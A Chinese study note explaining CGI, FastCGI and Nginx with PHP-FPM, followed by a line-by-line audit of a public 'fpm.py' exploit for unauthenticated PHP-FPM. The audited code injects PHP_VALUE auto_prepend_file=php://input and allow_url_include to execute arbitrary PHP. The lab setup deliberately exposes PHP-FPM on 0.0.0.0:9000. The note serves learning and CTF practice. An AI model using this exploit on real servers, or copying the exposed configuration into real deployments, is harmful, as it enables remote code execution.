FastCGI与Web中间件
参考资料
https://blog.csdn.net/qq_39976464/article/details/119105045
CGI通用网关接口
CGI简介
单纯的Web服务器只能相应浏览器发来的HTTP静态资源(html、css、图片等),并不能直接运行动态脚本。
以PHP脚本为例,Web服务器不能直接处理它,需要交给php解释器处理。这里就涉及到Webserver和php解释器的通信问题。为了解决不同语言的解释器(php、python等)与Webserver的通信,出现了CGI(Common Gateway Interface)公共网关接口,即Web服务器运行外部程序的规范。
FastCGI简介
有了CGI,自然就解决了Web服务器与PHP解释器的通信问题,但是Web服务器有一个问题,就是它每收到一个请求,都会去Fork一个CGI进程,请求结束再kill掉这个进程,这样会很浪费资源。于是,便出现了CGI的改良版本——Fast-CGI。
维基百科对 FastCGI 的解释是:快速通用网关接口(Fast Common Gateway Interface/FastCGI)是一种让交互程序与Web服务器通信的协议。FastCGI是早期通用网关接口(CGI)的增强版本。FastCGI致力于减少网页服务器与CGI程序之间交互的开销,Fast-CGI每次处理完请求后,不会kill掉这个进程,而是保留这个进程,从而使服务器可以同时处理更多的网页请求。这样就会大大的提高效率。
Web中间件(Web容器)
简介
Web相关的东西其实是很复杂的,但我们部署环境的操作往往不那么复杂,部署好环境之后进行开发也不需要考虑特别多的东西。这是因为我们有Web容器(中间件)。
Web中间件充当着沟通的桥梁。当网页只有静态内容时,Web中间件与(且只与)浏览器交互(查找静态文件这种东西就不算交互了)。当网站有动态内容时,除了与浏览器交互外,Web中间件还需要与我们的脚本解释器(eg:PHP解释器)交互,这个交互过程就需要用到FastCGI接口(协议)。
Nginx
碎碎念
在写这篇笔记之前,我其实对Apache、Nginx之类的几乎一窍不通。之前对PHP的学习基本基于语言本身(最多加点环境变量、配置文件之类的),PHP环境也是基于
https://blog.csdn.net/qq_40147863/article/details/83187917
傻瓜式搭建的,连Nginx都没有用到。
“我是谁?我在哪?我学过什么?”懵逼感直接拉满。
反向代理
提到Nginx,跟随出现的最高频词汇大概就是反向代理了,这个很有必要搞清楚。
“代理”都是指服务器("代理服务器proxy")。我们日常生活中接触的代理都是”正向代理“:客户端(访问网站资源的我们)知道代理服务器的存在,但服务端(网站的运行端)不知道代理服务器的存在。
正向代理隐藏真实的客户端。
与之类比,就不难理解”反向代理“的特点:客户端不知道代理服务器的存在,而服务端知道。
反向代理”隐藏“真实的服务器。
反向代理在服务端中常用于负载均衡的实现。
具体的,tmd太复杂了,先挖个坑放个百度百科链接https://baike.baidu.com/item/%E5%8F%8D%E5%90%91%E4%BB%A3%E7%90%86%E8%B4%9F%E8%BD%BD%E5%9D%87%E8%A1%A1/8852153?fr=aladdin
在学Nginx配置时随便讲点得了。
安装
听说Nginx安装比Apache2复杂?
apt-get也能下载Nginx了啊,那没事了。
//彻底卸载之前的Nginx
apt-get --purge autoremove nginx
apt-get install nginx
nginx -v
nginx
配置
先看/etc/nginx/nginx.conf
的Virtual Host Configs部分,发现它include了两个文件夹。其中一个没有东西,另一个是个到/etc/nginx/sites-available/default
的软链接。去那个default里看一下:
##
# You should look at the following URL's in order to grasp a solid understanding
# of Nginx configuration files in order to fully unleash the power of Nginx.
# https://www.nginx.com/resources/wiki/start/
# https://www.nginx.com/resources/wiki/start/topics/tutorials/config_pitfalls/
# https://wiki.debian.org/Nginx/DirectoryStructure
#
# In most cases, administrators will remove this file from sites-enabled/ and
# leave it as reference inside of sites-available where it will continue to be
# updated by the nginx packaging team.
#
# This file will automatically load configuration files provided by other
# applications, such as Drupal or Wordpress. These applications will be made
# available underneath a path with that package name, such as /drupal8.
#
# Please see /usr/share/doc/nginx-doc/examples/ for more detailed examples.
##
# Default server configuration
#
server {
listen 80 default_server;
listen [::]:80 default_server;
root /var/www/html;
# Add index.php to the list if you are using PHP
index index.html index.htm index.nginx-debian.html;
server_name _;
location / {
# First attempt to serve request as file, then
# as directory, then fall back to displaying a 404.
try_files $uri $uri/ =404;
}
#pass PHP scripts to FastCGI server
#这一段原本是完全被注释掉的,我们需要做的就是把它们放出来。
location ~ \.php$ {
include snippets/fastcgi-php.conf;
# With php-fpm (or other unix sockets):
fastcgi_pass unix:/var/run/php/php7.2-fpm.sock;
# With php-cgi (or other tcp sockets):
#fastcgi_pass 127.0.0.1:9000;
}
}
操作就一个。
它的注释写的真的非常好,按照它的注释基本上就能看懂大体的东西了。
注意
80端口的占用情况:
若Apache2开启,需要/etc/init.d/apache2 stop
若想关闭nginx,需要nginx -s stop
重启:nginx -s reload
或 systemctl restart nginx
检查nginx是否正确启动systemctl status nginx
接近正题
碎碎念
这篇东西最初写出来是想作为校赛一道题的复现wp的;
https://mp.weixin.qq.com/s/JoQk8Ogidvoa3dfqvI4bnA(ftp-checker)
后来发现知识点缺的太多,就改成了官方wp提到的另一个题的复现wp;
https://www.anquanke.com/post/id/233454 (hxp-2020 CVE-2021-3129)
后来又发现知识点缺的太多,就改成了对后一个wp里这个问题的解决:
PHP-fpm简介
PHP-FPM是 一个FastCGI 进程管理器,用于替换 PHP FastCGI 的大部分附加功能,对于高负载网站是非常有用的。PHP-FPM 默认监听的端口是 9000 端口。
也就是说 PHP-FPM 是 FastCGI 的一个具体实现,并且提供了进程管理的功能,在其中的进程中,包含了 master 和 worker 进程,这个在后面我们进行环境搭建的时候可以通过命令查看。其中master 进程负责与 Web 服务器中间件进行通信,接收服务器中间按照 FastCGI 的规则打包好的用户请求,再将请求转发给 worker 进程进行处理。worker 进程主要负责后端动态执行 PHP 代码,处理完成后,将处理结果返回给 Web 服务器,再由 Web 服务器将结果发送给客户端。
暴露PHP-fpm
打开/etc/php/7.2/fpm/pool.d/www.conf
,
找到
listen = /run/php/php7.4-fpm.sock ;
将其修改为
listen = 0.0.0.0:9000
linux一切皆文件,/run/php/php7.4-fpm.sock
是PHP-fpm进程创建的套接字文件,在这里可以先简单理解为他是一个特定的套接字。
(socket分为Unix Domain Socket和TCP Socket;这个之后再专门写个笔记。)
0.0.0.0表示本网任意一个IPv4地址,是很常用的写法。
其他准备操作
按部就班跟着做就行了。
前往之前配置的/etc/nginx/sites-available/default
,
找到
fastcgi_pass unix:/var/run/php/php7.2-fpm.sock; ;
将其修改为
fastcgi_pass 127.0.0.1:9000;
启动php-fpm,
whereis php-fpm
/usr/sbin/php-fpm7.2
(实际上已经添加过环境变量了)
重启nginx并检查其是否正确启动,
systemctl restart nginx
systemctl status nginx
检查php-fpm是否正确启动
ps -elf | grep php-fpm
检查各项是否正常运行(service API显示FPM/FastCGI)
未授权访问(攻击)操作
利用P牛的fpm.py脚本:
https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75
靶机ubuntu:
攻击机kali。
不求甚解的复现 到此即成功。
正题:FastCGI协议
我们已经实现了和PHP-fpm直接通信,接下来的任务是理解它<--理解fpm.py<--了解FastCGI协议
FastCGI协议
FastCGI协议可以类比HTTP协议来进行学习理解。HTTP协议是浏览器和服务器中间件进行数据交换的协议,FastCGI协议则是服务器中间件和某个语言后端进行数据交换的协议。
我们用计网中与IP数据报类似的介绍方式来介绍FastCGI报文。
fpm.py代码审计
__main__部分
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
parser.add_argument('host', help='Target host, such as 127.0.0.1')
parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')
parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)
args = parser.parse_args()
//args有host、file、code、port四个属性。命令行执行时,host参数必须在file参数前;可选参数位置任意(因为要加诸如这样的标识符【-c】)
这部分通过argparse模块实现python程序在命令行中的显示效果,并且将我们在命令行中输入的参数进行解析,将它们一个萝卜一个坑的填入args。。
https://blog.csdn.net/qq_42855293/article/details/114683349
https://docs.python.org/3/library/argparse.html
client = FastCGIClient(args.host, args.port, 3, 0)
//初始化FastCGIClient对象;没什么内容。参数主要就是套接字,其他两个是超时和持久连接设定,我们不太关心。
params = dict()
documentRoot = "/"
uri = args.file
content = args.code
params = {
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'POST',
'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
'SCRIPT_NAME': uri,
'QUERY_STRING': '',
'REQUEST_URI': uri,
'DOCUMENT_ROOT': documentRoot,
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '9985',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1',
'CONTENT_TYPE': 'application/text',
'CONTENT_LENGTH': "%d" % len(content),
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}
response = client.request(params, content)
print(force_text(response))
params是非常重要的东西;这类东西一般是Web服务器中间件将我们的前端请求转化而来的。
我们可以看出,params具有很强的规范性和通用性。我们这里是使用PHP作为后端的,而params的必须内容中只有SERVER_SOFTWARE
涉及它。如果我们把后端语言换成别的,Web中间件几乎只要改一个SERVER_SOFTWARE
就行了,非常方便。
params中的最后两行:
allow_url_include在PHP文件包含那块说过,
PHP_ADMIN_VALUE在.user.ini的利用那里简单说过(不用理解,记得用这个字段就行了),
auto_prepend_file也是以前在.user.ini里输入的内容。它的作用是让PHP在执行任意文件之前先包含其所指定的文件。
php://input和上面那个东西搭配使用,就可以实现在POST请求中发送代码,进行RCE。
接下来,我们需要做的就是模仿nginx,将它使用FastCGI协议的规则传给PHP-FPM,并模仿nginx解析它返回的FastCGI数据报。
参数指定和初始化 部分
//初始化没啥好说的。
//参数指定比较重要;下面的注释会给出。
class FastCGIClient:
"""A Fast-CGI Client for Python"""
# private
__FCGI_VERSION = 1 //FastCGI协议版本
/*在FastCGI身份的确定;常用的为1(响应器角色),其他的这里不做讨论。*/
__FCGI_ROLE_RESPONDER = 1
__FCGI_ROLE_AUTHORIZER = 2
__FCGI_ROLE_FILTER = 3
/*FastCGI协议消息类型,对应Header中的type。*/
__FCGI_TYPE_BEGIN = 1
//在与php-fpm建立连接之后发送的第一个消息中的type值就得为1,用来表明此消息为请求开始的第一个消息
__FCGI_TYPE_ABORT = 2
//异常断开与php-fpm的交互
__FCGI_TYPE_END = 3
//在与php-fpm交互中所发的最后一个消息中type值为此,以表明交互的正常结束
__FCGI_TYPE_PARAMS = 4
//在交互过程中给php-fpm传递环境变量时,将type设为此,以表明消息中包含的数据为某个name-value对
__FCGI_TYPE_STDIN = 5
//Web服务器将从浏览器接收到的POST请求数据(表单提交等)以消息的形式发给php-fpm,这种消息的type就得设为5
__FCGI_TYPE_STDOUT = 6
//php-fpm给Web服务器回的正常响应消息的type就设为6
__FCGI_TYPE_STDERR = 7
//php-fpm给Web服务器回的错误响应设为7
__FCGI_TYPE_DATA = 8
__FCGI_TYPE_GETVALUES = 9
__FCGI_TYPE_GETVALUES_RESULT = 10
__FCGI_TYPE_UNKOWNTYPE = 11
__FCGI_HEADER_SIZE = 8 //FastCGI报头长度(固定)
//标志连接状态
# request state
FCGI_STATE_SEND = 1
FCGI_STATE_ERROR = 2
FCGI_STATE_SUCCESS = 3
def __init__(self, host, port, timeout, keepalive):
self.host = host
self.port = port
self.timeout = timeout
if keepalive:
self.keepalive = 1
else:
self.keepalive = 0
self.sock = None
self.requests = dict()
**执行部分(发送)
https://wenku.baidu.com/view/5dd83de39dc3d5bbfd0a79563c1ec5da51e2d652.html
FastCGIClient只对外提供了这一个方法——request;它在__main__中被调用了。
def request(self, nameValuePairs={}, post=''):
//__connect使用socket库 创建本地python脚本和套接字的连接,笔记中就不附出了。
if not self.__connect():
print('connect failure! please check your fasctcgi-server !!')
return
requestId = random.randint(1, (1 << 16) - 1)
self.requests[requestId] = dict()
request = b""
//bchr将参数转化为一个字节的固定长度。
//beginFCGIRecordContent生成建立连接(对应type=1)对应的FastCGI数据报报文。
/*
struct FCGI_BeginRequestBody{
unsigned char roleB1;
unsigned char roleB0;
unsigned char flags;
unsigned char reserved[5];
}
*/
beginFCGIRecordContent = bchr(0) \
+ bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
+ bchr(self.keepalive) \
+ bchr(0) * 5
//__encodeFastCGIRecord方法使用请求类型、ID、和请求内容生成一个合法的请求字节流。具体的方法是,利用请求类型和ID生成FastCGI报头(只有这两个是变的),并将其直接与之前生成好的合法报文拼接。
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
beginFCGIRecordContent, requestId)
paramsRecord = b''
//开始解析之前提到的params键值对
if nameValuePairs:
for (name, value) in nameValuePairs.items():
name = force_bytes(name)
value = force_bytes(value)
//__encodeNameValueParams生成传送环境变量键值对(对应type=4)对应的FastCGI数据报报文。
paramsRecord += self.__encodeNameValueParams(name, value)
//生成FastCGI数据报报文的消息主体(数据和填充部分)
//不太懂;咋每次生成都要加报头?填充也要加报头?
if paramsRecord:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)
//生成用于提交POST请求数据(对应type=5)的报文
if post:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
//发送请求
self.sock.send(request)
self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
self.requests[requestId]['response'] = b''
//等待回显、接收、进入解析部分
return self.__waitForResponse(requestId)
__encodeNameValueParams
生成传送环境变量键值对(对应type=4)对应的FastCGI数据报报文。
最重要,也比较复杂,单独拉出来。
def __encodeNameValueParams(self, name, value):
nLen = len(name)
vLen = len(value)
record = b''
if nLen < 128:
record += bchr(nLen)
else:
record += bchr((nLen >> 24) | 0x80) \
+ bchr((nLen >> 16) & 0xFF) \
+ bchr((nLen >> 8) & 0xFF) \
+ bchr(nLen & 0xFF)
if vLen < 128:
record += bchr(vLen)
else:
record += bchr((vLen >> 24) | 0x80) \
+ bchr((vLen >> 16) & 0xFF) \
+ bchr((vLen >> 8) & 0xFF) \
+ bchr(vLen & 0xFF)
return record + name + value
对着这玩意看着理解吧。
typedef struct {
unsigned char nameLengthB0; /* nameLengthB0 >> 7 == 0 */
unsigned char valueLengthB0; /* valueLengthB0 >> 7 == 0 */
unsigned char nameData[nameLength];
unsigned char valueData[valueLength];
} FCGI_NameValuePair11;
typedef struct {
unsigned char nameLengthB0; /* nameLengthB0 >> 7 == 0 */
unsigned char valueLengthB3; /* valueLengthB3 >> 7 == 1 */
unsigned char valueLengthB2;
unsigned char valueLengthB1;
unsigned char valueLengthB0;
unsigned char nameData[nameLength];
unsigned char valueData[valueLength
((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
} FCGI_NameValuePair14;
typedef struct {
unsigned char nameLengthB3; /* nameLengthB3 >> 7 == 1 */
unsigned char nameLengthB2;
unsigned char nameLengthB1;
unsigned char nameLengthB0;
unsigned char valueLengthB0; /* valueLengthB0 >> 7 == 0 */
unsigned char nameData[nameLength
((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
unsigned char valueData[valueLength];
} FCGI_NameValuePair41;
typedef struct {
unsigned char nameLengthB3; /* nameLengthB3 >> 7 == 1 */
unsigned char nameLengthB2;
unsigned char nameLengthB1;
unsigned char nameLengthB0;
unsigned char valueLengthB3; /* valueLengthB3 >> 7 == 1 */
unsigned char valueLengthB2;
unsigned char valueLengthB1;
unsigned char valueLengthB0;
unsigned char nameData[nameLength
((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
unsigned char valueData[valueLength
((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
} FCGI_NameValuePair44;
4 个结构,至于用哪个结构,有如下规则:
-
key、value均小于128字节,用
FCGI_NameValuePair11
-
key大于128字节,value小于128字节,用
FCGI_NameValuePair41
-
key小于128字节,value大于128字节,用
FCGI_NameValuePair14
-
key、value均大于128字节,用
FCGI_NameValuePair44
执行部分(解析接收内容)
def __waitForResponse(self, requestId):
data = b''
while True:
buf = self.sock.recv(512)
if not len(buf):
break
data += buf
data = BytesIO(data)
//__decodeFastCGIRecord对响应进行具体的解析;本函数主要用于确定连接状态,就不详细讲了。
while True:
response = self.__decodeFastCGIRecord(data)
if not response:
break
if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
if requestId == int(response['requestId']):
self.requests[requestId]['response'] += response['content']
if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
self.requests[requestId]
return self.requests[requestId]['response']
def __repr__(self):
return "fastcgi connect host:{} port:{}".format(self.host, self.port)
def __decodeFastCGIRecord(self, buffer):
header = buffer.read(int(self.__FCGI_HEADER_SIZE))
if not header:
return False
else:
//解析FastCGI报头
record = self.__decodeFastCGIHeader(header)
record['content'] = b''
//读取FastCGI报文内容;忽略填充。
if 'contentLength' in record.keys():
contentLength = int(record['contentLength'])
record['content'] += buffer.read(contentLength)
if 'paddingLength' in record.keys():
skiped = buffer.read(int(record['paddingLength']))
return record
//对着报头格式一看就懂了,略。
def __decodeFastCGIHeader(self, stream):
header = dict()
header['version'] = bord(stream[0])
header['type'] = bord(stream[1])
header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
header['paddingLength'] = bord(stream[6])
header['reserved'] = bord(stream[7])
return header
__FCGI_TYPE_END压根没用到。